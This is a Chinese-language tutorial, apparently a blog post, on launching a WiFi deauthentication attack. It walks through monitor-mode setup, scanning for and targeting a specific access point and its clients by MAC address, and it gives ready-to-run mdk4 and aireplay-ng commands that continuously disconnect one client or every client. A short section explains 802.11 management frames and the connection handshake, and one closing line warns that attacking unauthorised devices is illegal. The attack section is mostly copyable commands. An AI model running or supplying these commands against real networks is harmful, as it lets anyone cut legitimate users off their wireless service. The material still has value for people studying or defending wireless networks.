对WiFi发动取消认证攻击（Deauthentication)

取消认证攻击是最简单的攻击手段之一，但破坏性奇高，可以轻易让无线网络环境瘫痪。

阶段一：信息收集

1. 查看网卡接口

```
ip addr
```

2. 检查并杀死冲突进程

```
airmon-ng check kill
```

3. 开启监听模式

```
airmon-ng start wlan0
```

4. 验证是否处于监听模式

```
airmon-ng
```

5. 获取目标AP信息

```
airodump-ng wlan0mon
```

目标AP:

```
ESSID:    TPGuest-77E0
BSSID:    82:8F:1D:FB:77:E0
Channel:  1
```

6. 针对该AP进行监听

```
airodump-ng --bssid 82:8F:1D:FB:77:E0 -c 1 wlan0mon
```

7. 获取所连接设备MAC（可选）

```
设备一：E0:DC:FF:CC:0E:91
设备二：18:01:F1:B2:B3:02
```

阶段二：发动攻击

1. mdk4（同时进行Deauthentication 和 Disassociation）

- 针对指定客户端

  ```
  mdk4 wlan0mon d -B 82:8F:1D:FB:77:E0 -c 1 -S E0:DC:FF:CC:0E:91
  ```

- 针对所有客户端

  ```
  mdk4 wlan0mon d -B 82:8F:1D:FB:77:E0 -c 1
  ```

2. aireplay-ng

- 针对指定客户端

```
aireplay-ng --deauth 0 -a 82:8F:1D:FB:77:E0 -c E0:DC:FF:CC:0E:91 wlan0mon
```

- 针对所有客户端

```
aireplay-ng --deauth 0 -a 82:8F:1D:FB:77:E0 wlan0mon
```

相关知识：

1. 802.11 协议

- 802.11 协议将所有的数据分为三种：
  - 数据帧
  - 管理帧
  - 控制帧
- 管理帧主要用来连接和断开无线网络。
  - Beacons
  - Probe Request/Response
  - Authentication Request/Response
  - Deauthentication
  - Association Request/Response
  - Disassociation

2. WiFi连接交互过程：

1. `AP` 广播发送Beacon（信标帧）
2. `STA` 向 `AP` 发送携带有指定SSID的 `Probe Request`（探测请求帧）
3. `AP` 向 `STA` 发送 `Probe Response`（探测回应帧）
4. `STA` 对 `AP` 发送 `Authentication Request`（认证请求帧）
   - `AP` 向 `STA` 发送 `Authentiction Response (Challenge)`（加密认证）
   - `STA` 对 `AP` 发送 `Authentication Response (Encrypted Challenge)`（加密认证）
5. `AP` 向 `STA` 发送 `Authentiction Response`（认证应答帧）
6. `STA` 向 `AP` 发送 `Association Request`（关联请求帧）
7. `AP` 向 `STA` 发送 `Association Response`（关联应答帧）
8. `STA` 向 `AP` 发送 `Disassociation`（取消关联帧）

根据协议，可以针对这一过程发起攻击：

- `Deauthentication` 攻击

- `Disassociation`攻击

攻击未授权的无线设备涉嫌违法，切勿以身试法。